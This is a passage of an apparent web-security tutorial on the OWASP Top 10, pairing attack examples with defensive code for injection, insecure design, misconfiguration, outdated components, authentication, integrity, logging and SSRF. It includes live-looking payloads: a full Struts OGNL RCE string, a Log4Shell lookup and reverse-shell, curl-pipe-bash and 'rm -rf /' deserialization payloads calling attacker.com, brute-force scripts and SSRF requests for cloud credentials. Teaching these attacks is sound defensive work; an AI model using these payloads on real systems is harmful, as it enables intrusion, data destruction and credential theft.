Defense Against Injection

// 1. Parameterized Queries (Prepared Statements) // SQL - CORRECT approach const query = 'SELECT * FROM users WHERE username = ? AND password = ?'; db.execute(query, [username, password]); // PostgreSQL with node-postgres const query = 'SELECT * FROM users WHERE username = $1 AND password = $2'; await client.query(query, [username, password]); // 2. ORM/ODM frameworks (built-in protection) // Sequelize (SQL) const user = await User.findOne({ where: { username: username, password: password } }); // Mongoose (MongoDB) const user = await User.findOne({ username, password }); // 3. Input validation and sanitization const validator = require('validator'); // Whitelist validation if (!/^[a-zA-Z0-9_]+$/.test(username)) { throw new Error('Invalid username format'); } // Type validation const userId = parseInt(req.params.id, 10); if (isNaN(userId)) { throw new Error('Invalid user ID'); } // 4. Principle of Least Privilege // Database user should have minimal permissions // - No DROP, CREATE, or ALTER permissions // - Read-only for data retrieval // - Limited to specific tables CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT, INSERT, UPDATE ON app_db.users TO 'app_user'@'localhost'; REVOKE ALL PRIVILEGES ON *.* FROM 'app_user'@'localhost'; // 5. Avoid exec() for OS commands // Use language-specific APIs instead const { spawn } = require('child_process'); // BAD exec(`ping ${host}`); // GOOD const ping = spawn('ping', ['-c', '4', host]); // Arguments passed separately, not as string concatenation

4. Insecure Design

Insecure Design is a new category in OWASP Top 10 2021, representing a broad category of weaknesses captured by missing or ineffective control design. It's about flaws in the architecture and business logic, not implementation bugs. Even perfect implementation can't fix poor design.

Building on Sand

You can't build a secure house on a weak foundation. Insecure design means the architectural blueprints themselves are flawed. No amount of quality construction (secure coding) can compensate for a fundamentally broken design. It's the difference between implementing a feature wrong vs. implementing the wrong feature.

Business Logic Vulnerabilities

Race Conditions in Financial Transactions

// Vulnerable: Balance check and withdrawal not atomic POST /transfer { "from_account": "A", "to_account": "B", "amount": 100 } // Application logic async function transferMoney(from, to, amount) { const balance = await getBalance(from); if (balance >= amount) { // Check // TIME GAP - Race condition window! await deductBalance(from, amount); // Use await addBalance(to, amount); } } // Attack: Send 100 simultaneous requests // Account balance: $100 // Transfer amount: $100 each request for (let i = 0; i < 100; i++) { fetch('/transfer', { method: 'POST', body: JSON.stringify({ from_account: "attacker", to_account: "attacker2", amount: 100 }) }); } // Result: All 100 requests pass balance check simultaneously // β†’ Transfer $10,000 with only $100 in account!

Insufficient Anti-Automation

// Vulnerable: Unlimited password reset attempts POST /api/forgot-password { "email": "victim@example.com" } β†’ Sends 6-digit code to email: 123456 // No rate limiting, no CAPTCHA, no lockout // Attack: Brute force the 6-digit code for code in range(000000, 999999): POST /api/reset-password { "email": "victim@example.com", "code": code, "new_password": "attacker123" } if response.status == 200: print(f"Success! Code was: {code}") break // 1,000,000 attempts = easily automated // Without rate limiting, completes in minutes // Real-world example: Voucher code enumeration POST /api/redeem-voucher { "code": "SUMMER2024" } // No limit on attempts // Generate and test millions of codes // Find valid unredeemed vouchers

Unlimited Free Trial Abuse

// Vulnerable design: Free trial based only on email POST /api/start-trial { "email": "user@example.com", "plan": "premium" } β†’ Creates 30-day free trial // Attack: Email variations user@example.com user+1@example.com user+2@example.com user+trial@example.com // Gmail treats these as same inbox, but app treats as different users // Or: Disposable email services user1@tempmail.com user2@guerrillamail.com user3@10minutemail.com // Result: Infinite free trials // Better design should track: // - Credit card (even if not charged) // - Device fingerprint // - IP address // - Browser fingerprint // - Behavioral patterns

Price Manipulation

// Vulnerable: Client sends price to server POST /api/checkout { "item_id": "12345", "quantity": 1, "price": 99.99, // ← Sent by client! "total": 99.99 } // Attack: Manipulate price POST /api/checkout { "item_id": "12345", "quantity": 1, "price": 0.01, // Changed from $99.99 to $0.01 "total": 0.01 } // Server blindly trusts client-provided price β†’ $100 item purchased for $0.01! // Real-world example: Negative quantity POST /api/checkout { "item_id": "12345", "quantity": -1, // Negative quantity "price": 99.99, "total": -99.99 // Negative total } β†’ Instead of charging, credits attacker's account!

Missing Security Controls by Design

No Account Lockout Mechanism

// Design flaw: Unlimited login attempts POST /api/login { "username": "admin", "password": "attempt1" } β†’ Login failed // No lockout after X failed attempts // No progressive delays // No CAPTCHA after failures // No IP-based rate limiting // Attack: Brute force attack wordlist = open('rockyou.txt', 'r') for password in wordlist: response = requests.post('/api/login', { 'username': 'admin', 'password': password.strip() }) if response.status_code == 200: print(f"Found password: {password}") break // Without lockout: Can test millions of passwords // Common password found in first 10,000 attempts

Reversible or Guessable Session Tokens

// Vulnerable: Predictable session token generation function generateSessionToken(userId) { const timestamp = Date.now(); return btoa(`${userId}-${timestamp}`); // Example: "MTIzNDUtMTY0MDk5NTIwMDAwMA==" } // Attack: Decode and predict atob("MTIzNDUtMTY0MDk5NTIwMDAwMA==") β†’ "12345-1640995200000" // Structure revealed: userId-timestamp // Generate valid tokens for other users function hijackSession(targetUserId) { const currentTime = Date.now(); // Try recent timestamps for (let i = 0; i < 10000; i++) { const timestamp = currentTime - (i * 1000); const token = btoa(`${targetUserId}-${timestamp}`); // Test if token is valid if (checkSession(token)) { return token; } } } // Sequential session IDs (even worse) Session ID: 1001 Session ID: 1002 Session ID: 1003 β†’ Attacker can enumerate all active sessions

Missing or Weak MFA Design

// Design flaw: MFA code sent in response POST /api/login { "username": "admin", "password": "correct_password" } Response: { "status": "mfa_required", "mfa_code": "123456", // ← Code in the response! "message": "Code sent to email" } // Attacker already has the code! // Another design flaw: MFA optional POST /api/login { "username": "admin", "password": "correct_password", "skip_mfa": true // ← Attacker sets this } β†’ Login success without MFA // Vulnerable: MFA only on login // Once logged in, session never requires re-auth // Stolen session bypasses MFA entirely // Should require MFA for sensitive operations: // - Changing password // - Changing email // - Financial transactions // - Accessing sensitive data

⚠️ Impact of Insecure Design

Cannot Be Patched: Design flaws require architectural changes

Business Logic Bypass: Circumvent pricing, limits, subscriptions

Automated Exploitation: Bots abuse unlimited endpoints

Financial Loss: Price manipulation, free service abuse

Competitive Disadvantage: Design flaws enable systematic abuse

Secure Design Principles

// 1. Atomic transactions for financial operations async function transferMoney(from, to, amount) { const client = await pool.connect(); try { await client.query('BEGIN'); // Lock row for update const result = await client.query( 'SELECT balance FROM accounts WHERE id = $1 FOR UPDATE', [from] ); if (result.rows[0].balance < amount) { throw new Error('Insufficient funds'); } await client.query( 'UPDATE accounts SET balance = balance - $1 WHERE id = $2', [amount, from] ); await client.query( 'UPDATE accounts SET balance = balance + $1 WHERE id = $2', [amount, to] ); await client.query('COMMIT'); } catch (e) { await client.query('ROLLBACK'); throw e; } finally { client.release(); } } // 2. Server-side price calculation POST /api/checkout { "item_id": "12345", "quantity": 1 // NO price sent from client } // Server calculates price const item = await db.getItem(itemId); const price = item.price * quantity; if (price !== req.body.total) { throw new Error('Price mismatch'); } // 3. Rate limiting and anti-automation const rateLimit = require('express-rate-limit'); const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 5, // 5 attempts message: 'Too many login attempts' }); app.post('/api/login', loginLimiter, login); // 4. Account lockout let failedAttempts = {}; function checkLockout(username) { const attempts = failedAttempts[username] || 0; if (attempts >= 5) { const lockoutEnd = attempts.lockoutUntil; if (Date.now() < lockoutEnd) { throw new Error('Account locked'); } } } function recordFailedLogin(username) { failedAttempts[username] = (failedAttempts[username] || 0) + 1; if (failedAttempts[username] >= 5) { failedAttempts[username].lockoutUntil = Date.now() + (30 * 60 * 1000); // 30 min } } // 5. Cryptographically secure session tokens const crypto = require('crypto'); function generateSessionToken() { return crypto.randomBytes(32).toString('hex'); // 64-character hex string = 256 bits of entropy // Impossible to guess or enumerate }

5. Security Misconfiguration

Security misconfiguration is the most common vulnerability, occurring when security settings are not defined, implemented, or maintained properly. This includes insecure default configurations, incomplete setups, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information.

The Unlocked Door

You installed the best lock money can buy on your front door, but you left the key under the mat, posted the security code on social media, and forgot to lock the back door entirely. That's security misconfiguration - having the right tools but using them wrong or not using them at all.

Common Misconfiguration Vulnerabilities

Default Credentials

// Default admin credentials never changed Username: admin Password: admin // Database default credentials Username: root Password: root Username: sa Password: [blank] // IoT device defaults Username: admin Password: 1234 // Attack: Credential stuffing with defaults default_creds = [ ('admin', 'admin'), ('admin', 'password'), ('administrator', 'administrator'), ('root', 'root'), ('admin', '12345'), ('admin', 'admin123') ] for username, password in default_creds: response = login(url, username, password) if response.status_code == 200: print(f"Success: {username}:{password}") // Real-world: Router/modem defaults http://192.168.1.1 Username: admin Password: password β†’ Full network access

Directory Listing Enabled

// Misconfigured web server exposes directory contents GET https://example.com/uploads/ Response: Index of /uploads [Parent Directory] [2024-01-15 10:23] user_documents.pdf [2024-01-15 11:45] database_backup.sql [2024-01-15 14:30] passwords.txt [2024-01-15 16:20] api_keys.env // Attacker browses entire directory structure /admin/ /config/ /backup/ /logs/ // Automated scanning $ wget -r -np -nH --cut-dirs=1 https://example.com/uploads/ β†’ Downloads entire directory recursively // Find sensitive files $ curl https://example.com/ | grep -i "index of" β†’ Identifies exposed directories

Verbose Error Messages

// Exposed stack traces in production GET /api/user/abc123 Response 500: { "error": "SQLException: Column 'user_id' not found", "stack": "at Database.query (/var/www/app/db.js:45:12)\n at UserController.getUser (/var/www/app/controllers/user.js:23:8)", "query": "SELECT * FROM users WHERE id = 'abc123'", "database": "mysql://admin@localhost:3306/production_db" } // Information leakage reveals: // - Technology stack (MySQL) // - File paths (/var/www/app) // - Database structure (users table, columns) // - SQL query patterns // - Internal architecture // Attack: Use leaked info for targeted attacks // Now I know: MySQL, table names, column names, file paths

⚠️ Impact of Security Misconfiguration

Unauthorized Access: Default credentials grant immediate entry

Information Disclosure: Stack traces reveal internal structure

Data Breach: Exposed directories leak sensitive files

Complete Takeover: Debug endpoints expose admin functions

Attack Surface Expansion: Each misconfiguration is an entry point

Proper Security Configuration

// 1. Disable directory listing // Apache (.htaccess) Options -Indexes // Nginx (nginx.conf) location / { autoindex off; } // 2. Custom error pages (no information leakage) app.use((err, req, res, next) => { if (process.env.NODE_ENV === 'production') { res.status(500).json({ error: 'Internal server error' }); } else { res.status(500).json({ error: err.message, stack: err.stack }); } }); // 3. Security headers app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], styleSrc: ["'self'", "'unsafe-inline'"] } }, hsts: { maxAge: 31536000, includeSubDomains: true, preload: true } })); // 4. Remove unnecessary endpoints // Disable debug routes in production if (process.env.NODE_ENV !== 'development') { // Don't register debug routes } else { app.get('/debug', debugController); } // 5. Change all default credentials // Force password change on first login if (user.isFirstLogin) { return res.redirect('/change-password'); }

6. Vulnerable and Outdated Components

Applications are built on layers of dependencies - frameworks, libraries, packages, and plugins. When these components have known vulnerabilities and aren't kept up-to-date, attackers can exploit them with publicly available exploits. You're not just protecting your code; you're responsible for the security of every dependency in your stack.

The Weak Link in the Chain

Your application is only as secure as its weakest component. You might write perfect code, but if you're using a library with a critical RCE vulnerability, attackers don't need to find flaws in your code - they'll just exploit the weak link you imported from npm or pip.

Vulnerable Component Examples

Known CVE Exploitation

// Example: Log4Shell (CVE-2021-44228) // Vulnerable: Apache Log4j 2.0-2.14.1 // Attack via JNDI injection in logged data POST /api/login { "username": "${jndi:ldap://attacker.com/a}", "password": "anything" } // Log4j processes the username logger.info("Login attempt: " + username); // β†’ Executes JNDI lookup // β†’ Connects to attacker.com // β†’ Downloads malicious Java class // β†’ Remote Code Execution // Example: Struts RCE (CVE-2017-5638) // Vulnerable: Apache Struts 2.3.5 - 2.3.31, 2.5 - 2.5.10 POST /upload.action Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} β†’ Remote Code Execution

Outdated JavaScript Libraries

// package.json with vulnerable dependencies { "dependencies": { "express": "3.0.0", // CVE-2014-6393 (Path Traversal) "lodash": "4.17.11", // CVE-2019-10744 (Prototype Pollution) "jquery": "1.12.4", // CVE-2020-11023 (XSS) "axios": "0.18.0", // CVE-2020-28168 (SSRF) "mongoose": "5.7.5" // CVE-2019-17426 (Query Injection) } } // Check for vulnerabilities $ npm audit found 5 vulnerabilities (2 low, 1 moderate, 2 high) run `npm audit fix` to fix them // Exploitation: Prototype pollution in lodash const lodash = require('lodash'); lodash.defaultsDeep({}, JSON.parse('{"__proto__":{"isAdmin":true}}')); // Now all objects have isAdmin: true console.log({}.isAdmin); // true // Attack: Bypass authentication if (user.isAdmin) { // Admin functions }

WordPress Plugin Vulnerabilities

// Vulnerable plugin: File Manager (CVE-2020-25213) // Allows unauthenticated arbitrary file upload POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php Content-Type: multipart/form-data cmd=upload&target=... // Upload PHP shell POST /wp-content/plugins/wp-file-manager/lib/files/shell.php β†’ Remote Code Execution // WPScan to identify vulnerable plugins $ wpscan --url https://target.com --enumerate vp [i] Plugin: contact-form-7 5.1.3 [!] 1 vulnerability identified: [!] Title: Contact Form 7 < 5.3.2 - Arbitrary File Upload [!] CVE: CVE-2020-35489 // Automated exploitation $ searchsploit "Contact Form 7" $ python3 exploit.py https://target.com

⚠️ Impact of Vulnerable Components

Remote Code Execution: Critical CVEs often lead to RCE

Data Breach: SQLi, path traversal in dependencies

System Compromise: Privilege escalation through libraries

Supply Chain Attack: Compromised packages affect all users

Wide Attack Surface: Every dependency is a potential entry point

Dependency Security Management

// 1. Regular vulnerability scanning $ npm audit $ npm audit fix $ npm audit fix --force // Breaking changes // Python $ pip install safety $ safety check // Ruby $ bundle audit check --update // 2. Automated dependency updates // Dependabot (GitHub) # .github/dependabot.yml version: 2 updates: - package-ecosystem: "npm" directory: "/" schedule: interval: "weekly" // 3. Pin dependency versions { "dependencies": { "express": "4.17.1", // Exact version "lodash": "~4.17.21", // Patch updates only "mongoose": "^6.0.0" // Minor updates allowed } } // 4. Monitor security advisories // Subscribe to: // - npm security advisories // - GitHub Security Advisories // - CVE databases // - Vendor security bulletins // 5. Remove unused dependencies $ npm prune $ depcheck // Find unused dependencies

7. Identification and Authentication Failures

Authentication is the front door to your application, and when it's broken, attackers walk right in. Weak passwords, credential stuffing, broken session management, and missing multi-factor authentication all lead to account takeover. This isn't about complex exploits - it's about attackers simply logging in as legitimate users.

Picking the Lock vs. Finding the Key

Why break a window when you can just use the key under the doormat? Weak authentication means attackers don't need sophisticated exploits - they just try common passwords, reuse leaked credentials, or exploit broken password reset flows to access accounts legitimately (from the system's perspective).

Authentication Vulnerability Examples

Credential Stuffing

// Attack: Use leaked credentials from other breaches // Data from previous breaches (Collection #1, RockYou, etc.) credentials = [ 'user@email.com:Password123', 'john@example.com:123456', 'admin@site.com:password', // ... millions of leaked credentials ] // Automated credential stuffing import requests for cred in credentials: email, password = cred.split(':') response = requests.post('https://target.com/login', json={'email': email, 'password': password}) if 'Welcome' in response.text: print(f'Valid: {email}:{password}') # Account compromised // Real-world impact: // - 0.1% success rate = 10,000 accounts from 10 million attempts // - No rate limiting = unlimited attempts // - No CAPTCHA = fully automated // - Credential reuse = works across multiple sites

Weak Password Policy

// Vulnerable: No password requirements Allowed passwords: - "password" - "123456" - "admin" - "qwerty" - "" (blank password) // Attack: Common password list $ hydra -L users.txt -P common-passwords.txt https-post-form "//login:username=^USER^&password=^PASS^:F=incorrect" // Top 10 most common passwords (always try these first): 1. 123456 2. password 3. 123456789 4. 12345678 5. 12345 6. 111111 7. 1234567 8. sunshine 9. qwerty 10. iloveyou // Brute force with Burp Intruder POST /login { "username": "admin", "password": "Β§passwordΒ§" // Iterate through wordlist } // 1000 requests/second Γ— 10,000 common passwords = cracked in 10 seconds

Broken Password Reset

// Vulnerability 1: Predictable reset tokens // Token generation const resetToken = Date.now().toString(); // Token: "1704398400000" // Attacker can guess tokens within narrow time window // Vulnerability 2: Token in URL (leaked via Referer) GET /reset-password?token=abc123&email=victim@example.com // Clicked link on page β†’ Referer header sent to external sites β†’ Token leaked to analytics, ads, third-party scripts // Vulnerability 3: No token expiration // Token sent: 2024-01-01 // Token used: 2025-01-01 // Still valid - attacker finds old email a year later // Vulnerability 4: Reset without verification POST /api/reset-password { "email": "victim@example.com", "new_password": "hacked123" } β†’ Password changed without token verification // Attack: Account takeover via password reset 1. Request password reset for victim@example.com 2. Intercept email (MITM, email compromise) 3. Use token to set new password 4. Login as victim

Session Fixation

// Vulnerable: Session ID not regenerated after login // Before login GET /app Set-Cookie: SESSIONID=attacker_controlled_id // Attacker gives victim this session ID https://target.com/app?SESSIONID=attacker_controlled_id // Victim logs in POST /login Username: victim Password: victim_password // Session ID remains the same // Attacker uses the same session ID GET /app Cookie: SESSIONID=attacker_controlled_id β†’ Logged in as victim (no credentials needed) // Attack flow: 1. Attacker obtains session ID 2. Tricks victim into using that session ID 3. Victim authenticates with that session 4. Attacker hijacks authenticated session

⚠️ Impact of Authentication Failures

Account Takeover: Full access to user accounts

Data Breach: Access to personal and financial information

Identity Theft: Impersonate legitimate users

Financial Fraud: Unauthorized transactions, purchases

Reputation Damage: Compromised accounts used for scams

Secure Authentication Implementation

// 1. Strong password policy const passwordRequirements = { minLength: 12, requireUppercase: true, requireLowercase: true, requireNumbers: true, requireSpecialChars: true, preventCommonPasswords: true }; // Check against common password list const commonPasswords = ['password', '123456', 'qwerty', ...]; if (commonPasswords.includes(password.toLowerCase())) { throw new Error('Password too common'); } // 2. Password hashing (bcrypt, Argon2) const bcrypt = require('bcrypt'); const saltRounds = 12; // Hash password const hashedPassword = await bcrypt.hash(password, saltRounds); // Verify password const isValid = await bcrypt.compare(password, hashedPassword); // 3. Multi-Factor Authentication (MFA) const speakeasy = require('speakeasy'); // Generate TOTP secret const secret = speakeasy.generateSecret({ length: 32 }); // Verify TOTP token const verified = speakeasy.totp.verify({ secret: secret.base32, encoding: 'base32', token: userToken, window: 2 // Allow 2 time steps (60 seconds) }); // 4. Secure password reset const crypto = require('crypto'); // Generate cryptographically secure token const resetToken = crypto.randomBytes(32).toString('hex'); const hashedToken = crypto.createHash('sha256').update(resetToken).digest('hex'); // Store hashed token with expiration await db.saveResetToken({ userId: user.id, token: hashedToken, expires: Date.now() + 3600000 // 1 hour }); // 5. Session management // Regenerate session ID after login req.session.regenerate((err) => { req.session.userId = user.id; }); // Set secure session cookies app.use(session({ secret: process.env.SESSION_SECRET, cookie: { secure: true, // HTTPS only httpOnly: true, // No JavaScript access sameSite: 'strict', maxAge: 3600000 // 1 hour }, rolling: true // Refresh expiration on activity }));

8. Software and Data Integrity Failures

Code and infrastructure must assume that data and updates are not trustworthy without verification. This category covers failures related to software updates, critical data, and CI/CD pipelines without integrity verification. Attackers can inject malicious code into updates, modify data in transit, or compromise the software supply chain.

Trust But Verify

Would you accept a package delivery without checking if it's actually addressed to you? Software integrity is about verifying that code, updates, and data haven't been tampered with during delivery. Without integrity checks, you're trusting that the package contains what the label says - and attackers love to switch the contents.

Integrity Failure Examples

Insecure Deserialization

// Vulnerable: Deserializing untrusted data // PHP $userData = unserialize($_COOKIE['user']); // Attack: Craft malicious serialized object // Payload that executes system commands O:8:"UserData":1:{s:8:"username";s:5:"admin";} // Python pickle import pickle data = pickle.loads(request.cookies.get('session')) // Attack: Craft malicious pickle import pickle import os class Exploit: def __reduce__(self): return (os.system, ('rm -rf /',)) malicious = pickle.dumps(Exploit()) # When unpickled, executes: os.system('rm -rf /') // Node.js const serialize = require('node-serialize'); const userData = serialize.unserialize(req.cookies.user); // Attack: Remote Code Execution payload {"username":"admin","_$$ND_FUNC$$_":"function(){require('child_process').exec('nc attacker.com 4444 -e /bin/sh')}()"} // When deserialized, executes reverse shell

Unsigned Updates

// Vulnerable: Auto-update without signature verification async function checkForUpdates() { const response = await fetch('http://updates.example.com/latest.json'); const update = await response.json(); // Download and install update const installer = await download(update.url); await install(installer); // No verification! } // Attack: MITM attack replaces update with malware // Intercept HTTP request GET http://updates.example.com/latest.json // Respond with malicious update { "version": "2.0.0", "url": "http://attacker.com/malware.exe", "checksum": "fake_hash_attacker_controls" } // Victim downloads and installs malware thinking it's a legitimate update // Real-world example: Compromised update servers // - NotPetya malware (MeDoc update server compromise) // - SolarWinds supply chain attack // - ASUS Live Update compromise

CI/CD Pipeline Compromise

// Vulnerable: CI/CD without integrity checks # .github/workflows/deploy.yml name: Deploy on: push jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - run: npm install # Installs any package - run: npm run build - run: npm run deploy // Attack: Compromise dependency // 1. Create typosquatting package // "express" β†’ "expresss" (extra 's') // 2. Add malicious code to package // package.json postinstall script { "scripts": { "postinstall": "curl attacker.com/steal.sh | bash" } } // 3. Wait for developers to mistype dependency npm install expresss // 4. Malicious code runs during CI/CD // β†’ Steals environment secrets // β†’ Injects backdoor into build // β†’ Compromises production deployment // Real attacks: // - event-stream npm package compromise (2018) // - ua-parser-js npm package (2021) // - codecov bash uploader compromise (2021)

⚠️ Impact of Integrity Failures

Remote Code Execution: Deserialization leads to arbitrary code execution

Supply Chain Compromise: Malicious updates affect all users

Backdoor Installation: Persistent access to systems

Data Manipulation: Tampered data passes validation

Mass Compromise: One compromised component affects entire infrastructure

Ensuring Software Integrity

// 1. Avoid unsafe deserialization // Use JSON instead of pickle/serialize import json data = json.loads(request.cookies.get('session')) // JSON cannot execute code during parsing // 2. Verify digital signatures const crypto = require('crypto'); function verifyUpdate(updateFile, signature, publicKey) { const verify = crypto.createVerify('SHA256'); verify.update(updateFile); verify.end(); return verify.verify(publicKey, signature, 'hex'); } // Only install if signature is valid if (verifyUpdate(installer, signature, VENDOR_PUBLIC_KEY)) { await install(installer); } else { throw new Error('Update signature invalid'); } // 3. Subresource Integrity (SRI) // Browser verifies hash before executing // 4. Dependency lock files // package-lock.json (npm) // yarn.lock (yarn) // Pipfile.lock (Python) // Ensures exact versions are installed // 5. CI/CD security # GitHub Actions - Pin action versions - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab # v3.5.2 # Use commit SHA, not tags (tags can be moved) # Verify dependencies - run: npm audit - run: npm audit signatures # Secret scanning - uses: trufflesecurity/trufflehog@main

9. Security Logging and Monitoring Failures

Without proper logging and monitoring, breaches go undetected for months. Insufficient logging, lack of alerting, and poor incident response mean attackers can operate freely, pivoting through your infrastructure, exfiltrating data, and covering their tracks. You can't defend against what you can't see.

Flying Blind

Imagine a bank with no security cameras, no alarm system, and guards who don't keep records. That's an application without logging. Attackers can break in, steal everything, and leave no trace. When you finally notice something's wrong, the evidence is gone and you have no idea what happened.

Logging Failure Examples

Insufficient Logging

// Bad: Minimal logging app.post('/login', (req, res) => { const user = authenticate(req.body.username, req.body.password); if (user) { res.json({ success: true }); } else { res.json({ success: false }); } // No logging whatsoever }); // Attack goes undetected: // - 10,000 failed login attempts β†’ No record // - Account takeover β†’ Not logged // - Privilege escalation β†’ Invisible // - Data exfiltration β†’ Silent // What attackers did: // 1. Brute forced admin account (5 hours, 50,000 attempts) // 2. Logged in as admin // 3. Accessed all user data // 4. Downloaded entire database // 5. Deleted logs (but there weren't any) // 6. Left no trace // Discovery: 6 months later when customers report fraud // Evidence: None // Forensics: Impossible

Logs Not Monitored

// Logs exist but nobody reads them // application.log 2024-01-04 10:23:45 [INFO] User login: admin 2024-01-04 10:23:46 [ERROR] Failed login: admin 2024-01-04 10:23:47 [ERROR] Failed login: admin 2024-01-04 10:23:48 [ERROR] Failed login: admin [... 10,000 more failed attempts ...] 2024-01-04 15:45:12 [INFO] User login: admin [SUCCESS] 2024-01-04 15:45:13 [INFO] Accessed /admin/users 2024-01-04 15:45:14 [INFO] Downloaded user_data.csv (50 MB) 2024-01-04 15:45:15 [INFO] User logout: admin // Evidence exists but: // - No real-time alerts // - No automated analysis // - Nobody reviewing logs // - No correlation between events // - Attack pattern undetected

Logs Without Context

// Useless logs - no context console.log('Error'); console.log('User action failed'); console.log('Database query error'); // What error? Which user? What action? // Which query? What time? What IP? // Cannot investigate or respond // Good logging includes: logger.error({ timestamp: new Date().toISOString(), event: 'authentication_failure', username: req.body.username, ip: req.ip, userAgent: req.headers['user-agent'], reason: 'invalid_password', attemptCount: failedAttempts[req.body.username] || 0 }); // Now you can: // - Identify brute force attacks (many attempts, same user) // - Track suspicious IPs (many users, same IP) // - Correlate events (login β†’ privilege escalation β†’ data access) // - Build attack timeline // - Perform forensic analysis

⚠️ Impact of Logging Failures

Undetected Breaches: Attacks go unnoticed for months

No Forensics: Cannot determine what was compromised

Compliance Violations: Regulations require audit logs

Delayed Response: Incident response impossible without data

Repeat Attacks: Cannot learn from past incidents

Effective Logging Strategy

// 1. Comprehensive security logging const winston = require('winston'); const securityLogger = winston.createLogger({ level: 'info', format: winston.format.json(), transports: [ new winston.transports.File({ filename: 'security.log' }) ] }); // Log security events app.post('/login', async (req, res) => { const { username, password } = req.body; try { const user = await authenticate(username, password); securityLogger.info({ event: 'authentication_success', username: username, userId: user.id, ip: req.ip, timestamp: new Date().toISOString(), userAgent: req.headers['user-agent'] }); res.json({ success: true }); } catch (error) { securityLogger.warn({ event: 'authentication_failure', username: username, ip: req.ip, timestamp: new Date().toISOString(), reason: error.message }); res.json({ success: false }); } }); // 2. Real-time alerting // Alert on suspicious patterns function checkForBruteForce(username, ip) { const recentFailures = getRecentFailures(username, ip, '15min'); if (recentFailures > 5) { sendAlert({ severity: 'high', type: 'brute_force_attack', username: username, ip: ip, attemptCount: recentFailures }); // Automatic response blockIP(ip, '1hour'); } } // 3. Centralized log management (ELK, Splunk) // Ship logs to central system const logstash = require('logstash-client'); const logstashClient = new logstash.LogstashClient({ host: 'logstash.internal', port: 5000 }); logstashClient.send(logEntry); // 4. Log retention policy // Keep security logs for compliance // - Authentication events: 1 year // - Authorization events: 1 year // - Data access: 2 years // - Administrative actions: 5 years // - Security incidents: 7 years // 5. Automated analysis // Detect anomalies with ML import AnomalyDetector from 'anomaly-detection'; const detector = new AnomalyDetector(); detector.train(historicalLogs); // Real-time analysis const isAnomaly = detector.detect(currentLogEntry); if (isAnomaly) { sendSecurityAlert(currentLogEntry); }

10. Server-Side Request Forgery (SSRF)

SSRF vulnerabilities occur when a web application fetches a remote resource without validating the user-supplied URL. Attackers can make the server request internal resources, cloud metadata, or external systems, effectively using your server as a proxy to access things they shouldn't reach. It's the vulnerability that turns your server against itself.

The Trojan Messenger

You have a trusted assistant who can access restricted areas you can't. If you can trick that assistant into fetching documents from the secure vault and bringing them to you, you've bypassed all security. That's SSRF - making the trusted server fetch resources on your behalf from places you can't directly access.

SSRF Attack Examples

Cloud Metadata Exploitation

// Vulnerable: Fetch user-provided URL app.get('/api/fetch', async (req, res) => { const url = req.query.url; const response = await fetch(url); const data = await response.text(); res.send(data); }); // Attack: Access AWS metadata GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ Response: { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2024-01-05T12:00:00Z" } β†’ AWS credentials exposed // Metadata endpoints: // AWS: http://169.254.169.254/latest/meta-data/ // Google Cloud: http://metadata.google.internal/computeMetadata/v1/ // Azure: http://169.254.169.254/metadata/instance // DigitalOcean: http://169.254.169.254/metadata/v1/ // Attack chain: 1. Access metadata endpoint 2. Retrieve IAM credentials 3. Use credentials to access S3, EC2, RDS 4. Escalate privileges 5. Full cloud environment compromise

Internal Network Scanning

// Attack: Scan internal network through SSRF // Server is at: public-server.com (external) // Internal network: 192.168.1.0/24 // Scan for internal services GET /api/fetch?url=http://192.168.1.1:22 β†’ Identifies SSH server GET /api/fetch?url=http://192.168.1.5:3306 β†’ Identifies MySQL database GET /api/fetch?url=http://192.168.1.10:6379 β†’ Identifies Redis server GET /api/fetch?url=http://192.168.1.20:9200 β†’ Identifies Elasticsearch // Access internal admin panel GET /api/fetch?url=http://192.168.1.50/admin // Response: Internal admin interface // Bypass firewall - server can access, external attacker cannot // Exploit internal services GET /api/fetch?url=http://192.168.1.5:3306/query?sql=SELECT%20*%20FROM%20users β†’ SQLi against internal database GET /api/fetch?url=http://192.168.1.10:6379/CONFIG%20GET%20* β†’ Redis commands execution

Protocol Smuggling

// Attack: Use different protocols via SSRF // Read local files GET /api/fetch?url=file:///etc/passwd // Gopher protocol for Redis exploitation GET /api/fetch?url=gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a // Send arbitrary TCP data GET /api/fetch?url=gopher://internal-server:25/_MAIL%20FROM:attacker@evil.com%0d%0a // Dict protocol information disclosure GET /api/fetch?url=dict://internal-server:11211/stats // LDAP queries GET /api/fetch?url=ldap://internal-dc:389/dc=company,dc=com // Protocol abuse allows: // - Bypassing HTTP-only filters // - Interacting with non-HTTP services // - Sending raw TCP payloads // - Exploiting internal services

Blind SSRF

